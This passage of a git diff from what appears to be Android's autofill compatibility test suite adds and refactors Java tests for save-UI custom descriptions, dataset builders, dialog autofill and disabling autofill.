+ assertSaveUiIsShownWithTwoLines(expectedText);
}
@Test
@@ -269,6 +490,10 @@
multipleTransformationsForSameFieldTest(false);
}
+ private RemoteViews newTemplate(int resourceId) {
+ return new RemoteViews(getContext().getPackageName(), resourceId);
+ }
+
private void assertSaveUiWithoutCustomDescriptionIsShown() {
// First make sure the UI is shown...
final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
@@ -290,10 +515,59 @@
return saveUi;
}
- private void assertSaveUiWithCustomDescriptionIsShown(String expectedText) {
+ /**
+ * Asserts the save ui only has {@code first} and {@code second} lines (i.e, {@code third} is
+ * invisible), but only {@code first} has text.
+ */
+ private UiObject2 assertSaveUiIsShownWithTwoLines(String expectedTextOnFirst) {
+ return assertSaveUiWithLinesIsShown(
+ (line1) -> assertWithMessage("Wrong text for child with id 'first'")
+ .that(line1.getText()).isEqualTo(expectedTextOnFirst),
+ (line2) -> assertWithMessage("Wrong text for child with id 'second'")
+ .that(line2.getText()).isNull(),
+ null);
+ }
+
+ /**
+ * Asserts the save ui only has {@code first} line (i.e., {@code second} and {@code third} are
+ * invisible).
+ */
+ private void assertSaveUiIsShownWithJustOneLine(String expectedTextOnFirst) {
+ assertSaveUiWithLinesIsShown(
+ (line1) -> assertWithMessage("Wrong text for child with id 'first'")
+ .that(line1.getText()).isEqualTo(expectedTextOnFirst),
+ null, null);
+ }
+
+ private UiObject2 assertSaveUiWithLinesIsShown(@Nullable Visitor<UiObject2> line1Visitor,
+ @Nullable Visitor<UiObject2> line2Visitor, @Nullable Visitor<UiObject2> line3Visitor) {
final UiObject2 saveUi = assertSaveUiWithCustomDescriptionIsShown();
- assertWithMessage("didn't find '%s' on SaveUI (%s)", expectedText,
- sUiBot.getChildrenAsText(saveUi))
- .that(saveUi.findObject(By.text(expectedText))).isNotNull();
+ assertSaveUiChild(saveUi, "first", line1Visitor);
+ assertSaveUiChild(saveUi, "second", line2Visitor);
+ assertSaveUiChild(saveUi, "third", line3Visitor);
+ return saveUi;
+ }
+
+ /**
+ * Asserts the contents of save UI child element.
+ *
+ * @param saveUi save UI
+ * @param childId resource id of the child
+ * @param assertion if {@code null}, asserts the child does not exist; otherwise, asserts the
+ * child with it.
+ */
+ private void assertSaveUiChild(@NonNull UiObject2 saveUi, @NonNull String childId,
+ @Nullable Visitor<UiObject2> assertion) {
+ final UiObject2 child = saveUi.findObject(By.res(mPackageName, childId));
+ if (assertion != null) {
+ assertWithMessage("Didn't find child with id '%s'", childId).that(child).isNotNull();
+ try {
+ assertion.visit(child);
+ } catch (Throwable t) {
+ throw new AssertionError("Error on child '" + childId + "'", t);
+ }
+ } else {
+ assertWithMessage("Shouldn't find child with id '%s'", childId).that(child).isNull();
+ }
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
new file mode 100644
index 0000000..2a50b6e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.InternalValidator;
+import android.service.autofill.Transformation;
+import android.service.autofill.Validator;
+import android.support.test.runner.AndroidJUnit4;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CustomDescriptionUnitTest {
+
+ private final CustomDescription.Builder mBuilder =
+ new CustomDescription.Builder(mock(RemoteViews.class));
+ private final BatchUpdates mValidUpdate =
+ new BatchUpdates.Builder().updateTemplate(mock(RemoteViews.class)).build();
+ private final Validator mValidCondition = mock(InternalValidator.class);
+
+ @Test
+ public void testNullConstructor() {
+ assertThrows(NullPointerException.class, () -> new CustomDescription.Builder(null));
+ }
+
+ @Test
+ public void testAddChild_null() {
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.addChild(42, null));
+ }
+
+ @Test
+ public void testAddChild_invalidTransformation() {
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.addChild(42, mock(Transformation.class)));
+ }
+
+ @Test
+ public void testBatchUpdate_nullCondition() {
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.batchUpdate(null, mValidUpdate));
+ }
+
+ @Test
+ public void testBatchUpdate_invalidCondition() {
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.batchUpdate(mock(Validator.class), mValidUpdate));
+ }
+
+ @Test
+ public void testBatchUpdate_nullUpdates() {
+ assertThrows(NullPointerException.class,
+ () -> mBuilder.batchUpdate(mValidCondition, null));
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
index 33f0943..84c4a6f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -192,6 +192,9 @@
saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_NEW_ACTIVITY);
}
+ protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception;
+
@Test
public final void testTapLink_launchTrampolineActivityThenTapBackAndStartNewSession()
throws Exception {
@@ -201,6 +204,18 @@
protected abstract void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
throws Exception;
+ @Test
+ public final void testTapLinkAfterUpdateAppliedToLinkView() throws Exception {
+ tapLinkAfterUpdateAppliedTest(true);
+ }
+
+ @Test
+ public final void testTapLinkAfterUpdateAppliedToAnotherView() throws Exception {
+ tapLinkAfterUpdateAppliedTest(false);
+ }
+
+ protected abstract void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception;
+
enum PostSaveLinkTappedAction {
TAP_BACK_BUTTON,
ROTATE_THEN_TAP_BACK_BUTTON,
@@ -213,41 +228,56 @@
TAP_YES_ON_SAVE_UI
}
- protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
- throws Exception;
-
protected final void startActivity(Class<?> clazz) {
mContext.startActivity(new Intent(mContext, clazz));
}
- protected final CustomDescription newCustomDescription(
+ protected RemoteViews newTemplate() {
+ final RemoteViews presentation = new RemoteViews(mPackageName,
+ R.layout.custom_description_with_link);
+ return presentation;
+ }
+
+ protected final CustomDescription.Builder newCustomDescriptionBuilder(
Class<? extends Activity> activityClass) {
final Intent intent = new Intent(mContext, activityClass);
intent.setFlags(Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
- return newCustomDescription(intent);
+ return newCustomDescriptionBuilder(intent);
+ }
+
+ protected final CustomDescription newCustomDescription(
+ Class<? extends Activity> activityClass) {
+ return newCustomDescriptionBuilder(activityClass).build();
+ }
+
+ protected final CustomDescription.Builder newCustomDescriptionBuilder(Intent intent) {
+ final RemoteViews presentation = newTemplate();
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
+ return new CustomDescription.Builder(presentation);
}
protected final CustomDescription newCustomDescription(Intent intent) {
- final RemoteViews presentation = new RemoteViews(mPackageName,
- R.layout.custom_description_with_link);
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
- presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
- return new CustomDescription.Builder(presentation).build();
+ return newCustomDescriptionBuilder(intent).build();
}
protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType) {
+ return assertSaveUiWithLinkIsShown(saveType, "DON'T TAP ME!");
+ }
+
+ protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType, String expectedText) {
// First make sure the UI is shown...
final UiObject2 saveUi = sUiBot.assertSaveShowing(saveType);
// Then make sure it does have the custom view with link on it...
- getLink(saveUi);
+ final UiObject2 link = getLink(saveUi);
+ assertThat(link.getText()).isEqualTo(expectedText);
return saveUi;
}
protected final UiObject2 getLink(final UiObject2 container) {
- final UiObject2 button = container.findObject(By.res(mPackageName, ID_LINK));
- assertThat(button).isNotNull();
- assertThat(button.getText()).isEqualTo("DON'T TAP ME!");
- return button;
+ final UiObject2 link = container.findObject(By.res(mPackageName, ID_LINK));
+ assertThat(link).isNotNull();
+ return link;
}
protected final void tapSaveUiLink(UiObject2 saveUi) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
new file mode 100644
index 0000000..741fdda
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.Dataset;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DatasetTest {
+
+ private final AutofillId mId = new AutofillId(42);
+ private final AutofillValue mValue = AutofillValue.forText("ValuableLikeGold");
+ private final Pattern mFilter = Pattern.compile("whatever");
+
+ private final RemoteViews mPresentation = mock(RemoteViews.class);
+
+ @Test
+ public void testBuilder_nullPresentation() {
+ assertThrows(NullPointerException.class, () -> new Dataset.Builder(null));
+ }
+
+ @Test
+ public void testBuilder_setValueNullId() {
+ final Dataset.Builder builder = new Dataset.Builder(mPresentation);
+ assertThrows(NullPointerException.class, () -> builder.setValue(null, mValue));
+ }
+
+ @Test
+ public void testBuilder_setValueWithoutPresentation() {
+ // Just assert that it builds without throwing an exception.
+ assertThat(new Dataset.Builder().setValue(mId, mValue).build()).isNotNull();
+ }
+
+ @Test
+ public void testBuilder_setValueWithNullPresentation() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+ (RemoteViews) null));
+ }
+
+ @Test
+ public void testBuilder_setFilteredValueWithNullFilter() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+ (Pattern) null));
+ }
+
+ @Test
+ public void testBuilder_setFilteredValueWithPresentationNullFilter() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, null,
+ mPresentation));
+ }
+
+ @Test
+ public void testBuilder_setFilteredValueWithPresentationNullPresentation() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
+ null));
+ }
+
+ @Test
+ public void testBuilder_setFilteredValueWithoutPresentation() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue, mFilter));
+ }
+
+ @Test
+ public void testBuild_noValues() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ assertThrows(IllegalStateException.class, () -> builder.build());
+ }
+
+ @Test
+ public void testNoMoreInteractionsAfterBuild() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ builder.setValue(mId, mValue, mPresentation);
+ assertThat(builder.build()).isNotNull();
+ assertThrows(IllegalStateException.class, () -> builder.build());
+ assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue));
+ assertThrows(IllegalStateException.class,
+ () -> builder.setValue(mId, mValue, mPresentation));
+ assertThrows(IllegalStateException.class,
+ () -> builder.setValue(mId, mValue, mFilter));
+ assertThrows(IllegalStateException.class,
+ () -> builder.setValue(mId, mValue, mFilter, mPresentation));
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java
new file mode 100644
index 0000000..3f7664d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.AlertDialog;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Display;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+import android.widget.EditText;
+
+/**
+ * Activity that has buttons to launch dialogs that should then be autofillable.
+ */
+public class DialogLauncherActivity extends AbstractAutoFillActivity {
+
+ private static final String TAG = "DialogLauncherActivity";
+
+ private FillExpectation mExpectation;
+ private LoginDialog mDialog;
+ Button mLaunchButton;
+
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.dialog_launcher_activity);
+ mLaunchButton = findViewById(R.id.launch_button);
+ mDialog = new LoginDialog(this);
+ mLaunchButton.setOnClickListener((v) -> mDialog.show());
+ }
+
+ void onUsername(Visitor<EditText> v) {
+ syncRunOnUiThread(() -> v.visit(mDialog.mUsernameEditText));
+ }
+
+ void launchDialog(UiBot uiBot) {
+ syncRunOnUiThread(() -> mLaunchButton.performClick());
+ // TODO: should assert by id, but it's not working
+ uiBot.assertShownByText("Username");
+ }
+
+ void maximizeDialog() {
+ final WindowManager wm = getWindowManager();
+ final Display display = wm.getDefaultDisplay();
+ final DisplayMetrics metrics = new DisplayMetrics();
+ display.getMetrics(metrics);
+ syncRunOnUiThread(
+ () -> mDialog.getWindow().setLayout(metrics.widthPixels, metrics.heightPixels));
+ }
+
+ void expectAutofill(String username, String password) {
+ assertWithMessage("must call launchDialog first").that(mDialog.mUsernameEditText)
+ .isNotNull();
+ mExpectation = new FillExpectation(username, password);
+ mDialog.mUsernameEditText.addTextChangedListener(mExpectation.mCcUsernameWatcher);
+ mDialog.mPasswordEditText.addTextChangedListener(mExpectation.mCcPasswordWatcher);
+ }
+
+ void assertAutofilled() throws Exception {
+ assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+ if (mExpectation.mCcUsernameWatcher != null) {
+ mExpectation.mCcUsernameWatcher.assertAutoFilled();
+ }
+ if (mExpectation.mCcPasswordWatcher != null) {
+ mExpectation.mCcPasswordWatcher.assertAutoFilled();
+ }
+ }
+
+ private final class FillExpectation {
+ private final OneTimeTextWatcher mCcUsernameWatcher;
+ private final OneTimeTextWatcher mCcPasswordWatcher;
+
+ private FillExpectation(String username, String password) {
+ mCcUsernameWatcher = username == null ? null
+ : new OneTimeTextWatcher("username", mDialog.mUsernameEditText, username);
+ mCcPasswordWatcher = password == null ? null
+ : new OneTimeTextWatcher("password", mDialog.mPasswordEditText, password);
+ }
+
+ private FillExpectation(String username) {
+ this(username, null);
+ }
+ }
+
+ public final class LoginDialog extends AlertDialog {
+
+ private EditText mUsernameEditText;
+ private EditText mPasswordEditText;
+
+ public LoginDialog(Context context) {
+ super(context);
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.login_activity);
+ mUsernameEditText = findViewById(R.id.username);
+ mPasswordEditText = findViewById(R.id.password);
+ }
+
+ // TODO(b/68816440): temporary hack to make sure tests pass - everything below should be
+ // removed
+ private IBinder mToken;
+
+ @Override
+ public void onAttachedToWindow() {
+ super.onAttachedToWindow();
+
+ mToken = DialogLauncherActivity.this.getWindow().getAttributes().token;
+ Log.v(TAG, "onAttachedToWindow(): " + mToken);
+ }
+
+
+ @Override
+ public void onWindowAttributesChanged(LayoutParams params) {
+ Log.v(TAG, "onWindowAttributesChanged: p.token=" + params.token + "hack=" + mToken);
+ params.token = mToken;
+
+ super.onWindowAttributesChanged(params);
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java
new file mode 100644
index 0000000..269f7bf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.view.View;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+public class DialogLauncherActivityTest extends AutoFillServiceTestCase {
+
+ @Rule
+ public final AutofillActivityTestRule<DialogLauncherActivity> mActivityRule =
+ new AutofillActivityTestRule<DialogLauncherActivity>(DialogLauncherActivity.class);
+
+ private DialogLauncherActivity mActivity;
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @Test
+ public void testAutofill_noDatasets() throws Exception {
+ autofillNoDatasetsTest(false);
+ }
+
+ @Test
+ public void testAutofill_noDatasets_afterResizing() throws Exception {
+ autofillNoDatasetsTest(true);
+ }
+
+ private void autofillNoDatasetsTest(boolean resize) throws Exception {
+ enableService();
+ mActivity.launchDialog(sUiBot);
+
+ if (resize) {
+ mActivity.maximizeDialog();
+ }
+
+ // Set expectations.
+ sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+ final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+ // Asserts results.
+ try {
+ sUiBot.assertNoDatasets();
+ // Make sure nodes were properly generated.
+ assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
+ assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
+ } catch (AssertionError e) {
+ Helper.dumpStructure("D'OH!", fillRequest.structure);
+ throw e;
+ }
+ }
+
+ @Test
+ public void testAutofill_oneDataset() throws Exception {
+ autofillOneDatasetTest(false);
+ }
+
+ @Test
+ public void testAutofill_oneDataset_afterResizing() throws Exception {
+ autofillOneDatasetTest(true);
+ }
+
+ private void autofillOneDatasetTest(boolean resize) throws Exception {
+ enableService();
+ mActivity.launchDialog(sUiBot);
+
+ if (resize) {
+ mActivity.maximizeDialog();
+ }
+
+ // Set expectations.
+ mActivity.expectAutofill("dude", "sweet");
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Asserts results.
+ sUiBot.selectDataset("The Dude");
+ mActivity.assertAutofilled();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
new file mode 100644
index 0000000..afffa56
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
@@ -0,0 +1,330 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.content.Intent;
+import android.os.SystemClock;
+import android.service.autofill.FillResponse;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Tests for the {@link android.service.autofill.FillResponse.Builder#disableAutofill(long)} API.
+ */
+public class DisableAutofillTest extends AutoFillServiceTestCase {
+
+ private static final String TAG = "DisableAutofillTest";
+
+ @Before
+ public void preTestCleanup() {
+ Helper.preTestCleanup();
+ }
+
+ private SimpleSaveActivity startSimpleSaveActivity() {
+ final Intent intent = new Intent(mContext, SimpleSaveActivity.class);
+ mContext.startActivity(intent);
+ sUiBot.assertShownByRelativeId(SimpleSaveActivity.ID_LABEL);
+ return SimpleSaveActivity.getInstance();
+ }
+
+ private PreSimpleSaveActivity startPreSimpleSaveActivity() {
+ final Intent intent = new Intent(mContext, PreSimpleSaveActivity.class);
+ mContext.startActivity(intent);
+ sUiBot.assertShownByRelativeId(PreSimpleSaveActivity.ID_PRE_LABEL);
+ return PreSimpleSaveActivity.getInstance();
+ }
+
+ /**
+ * Defines what to do after the activity being tested is launched.
+ */
+ enum PostLaunchAction {
+ /**
+ * Used when the service disables autofill in the fill response for this activty. As such:
+ *
+ * <ol>
+ * <li>There should be a fill request on {@code sReplier}.
+ * <li>The first UI focus should generate a
+ * {@link android.view.autofill.AutofillManager.AutofillCallback#EVENT_INPUT_UNAVAILABLE}
+ * event.
+ * <li>Subsequent UI focus should not trigger events.
+ * </ol>
+ */
+ ASSERT_DISABLING,
+
+ /**
+ * Used when the service already disabled autofill prior to launching activty. As such:
+ *
+ * <ol>
+ * <li>There should be no fill request on {@code sReplier}.
+ * <li>There should be no callback calls when UI is focused
+ * </ol>
+ */
+ ASSERT_DISABLED,
+
+ /**
+ * Used when autofill is enabled, so it tries to autofill the activity.
+ */
+ ASSERT_ENABLED_AND_AUTOFILL
+ }
+
+ private void launchSimpleSaveActivity(PostLaunchAction action) throws Exception {
+ Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+ sReplier.assertNumberUnhandledFillRequests(0);
+
+ if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(SimpleSaveActivity.ID_INPUT, "id")
+ .setField(SimpleSaveActivity.ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ }
+
+ final SimpleSaveActivity activity = startSimpleSaveActivity();
+ final MyAutofillCallback callback = activity.registerCallback();
+
+ try {
+ // Trigger autofill
+ activity.syncRunOnUiThread(() -> activity.mInput.requestFocus());
+
+ if (action == PostLaunchAction.ASSERT_DISABLING) {
+ callback.assertUiUnavailableEvent(activity.mInput);
+ sReplier.getNextFillRequest();
+
+ // Make sure other fields are not triggered.
+ activity.syncRunOnUiThread(() -> activity.mPassword.requestFocus());
+ callback.assertNotCalled();
+ } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+ // Make sure forced requests are ignored as well.
+ activity.getAutofillManager().requestAutofill(activity.mInput);
+ callback.assertNotCalled();
+ } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ callback.assertUiShownEvent(activity.mInput);
+ sReplier.getNextFillRequest();
+ final SimpleSaveActivity.FillExpectation autofillExpectation =
+ activity.expectAutoFill("id", "pass");
+ sUiBot.selectDataset("YO");
+ autofillExpectation.assertAutoFilled();
+ }
+
+ // Asserts isEnabled() status.
+ if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ assertThat(activity.getAutofillManager().isEnabled()).isTrue();
+ } else {
+ assertThat(activity.getAutofillManager().isEnabled()).isFalse();
+ }
+ } finally {
+ activity.unregisterCallback();
+ activity.finish();
+ }
+ sReplier.assertNumberUnhandledFillRequests(0);
+ }
+
+ private void launchPreSimpleSaveActivity(PostLaunchAction action) throws Exception {
+ Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+ sReplier.assertNumberUnhandledFillRequests(0);
+
+ if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(PreSimpleSaveActivity.ID_PRE_INPUT, "yo")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+ }
+
+ final PreSimpleSaveActivity activity = startPreSimpleSaveActivity();
+ final MyAutofillCallback callback = activity.registerCallback();
+
+ try {
+ // Trigger autofill
+ activity.syncRunOnUiThread(() -> activity.mPreInput.requestFocus());
+
+ if (action == PostLaunchAction.ASSERT_DISABLING) {
+ callback.assertUiUnavailableEvent(activity.mPreInput);
+ sReplier.getNextFillRequest();
+ } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+ activity.getAutofillManager().requestAutofill(activity.mPreInput);
+ callback.assertNotCalled();
+ } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ callback.assertUiShownEvent(activity.mPreInput);
+ sReplier.getNextFillRequest();
+ final PreSimpleSaveActivity.FillExpectation autofillExpectation =
+ activity.expectAutoFill("yo");
+ sUiBot.selectDataset("YO");
+ autofillExpectation.assertAutoFilled();
+ }
+
+ // Asserts isEnabled() status.
+ if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ assertThat(activity.getAutofillManager().isEnabled()).isTrue();
+ } else {
+ assertThat(activity.getAutofillManager().isEnabled()).isFalse();
+ }
+ } finally {
+ activity.unregisterCallback();
+ activity.finish();
+ }
+ sReplier.assertNumberUnhandledFillRequests(0);
+ }
+
+ @Test
+ public void testDisableApp() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(
+ new CannedFillResponse.Builder().disableAutofill(Long.MAX_VALUE).build());
+
+ // Trigger autofill for the first time.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+ // Launch activity again.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+ // Now try it using a different activity - should be disabled too.
+ launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+ }
+
+ @Test
+ public void testDisableAppThenWaitToReenableIt() throws Exception {
+ // Set service.
+ enableService();
+
+ // Need to wait the equivalent of launching 2 activities, plus some extra legging room
+ final long duration = 2 * Helper.ACTIVITY_RESURRECTION_MS + 500;
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder().disableAutofill(duration).build());
+
+ // Trigger autofill for the first time.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+ // Launch activity again.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+ // Wait for the timeout, then try again, autofilling it this time.
+ SystemClock.sleep(duration + 1);
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+ // Also try it on another activity.
+ launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+ }
+
+ @Test
+ public void testDisableAppThenResetServiceToReenableIt() throws Exception {
+ enableService();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .disableAutofill(Long.MAX_VALUE).build());
+
+ // Trigger autofill for the first time.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+ // Launch activity again.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+ // Then "reset" service to re-enable autofill.
+ disableService();
+ enableService();
+
+ // Try again on activity that disabled it.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+ // Try again on other activity.
+ launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+ }
+
+ @Test
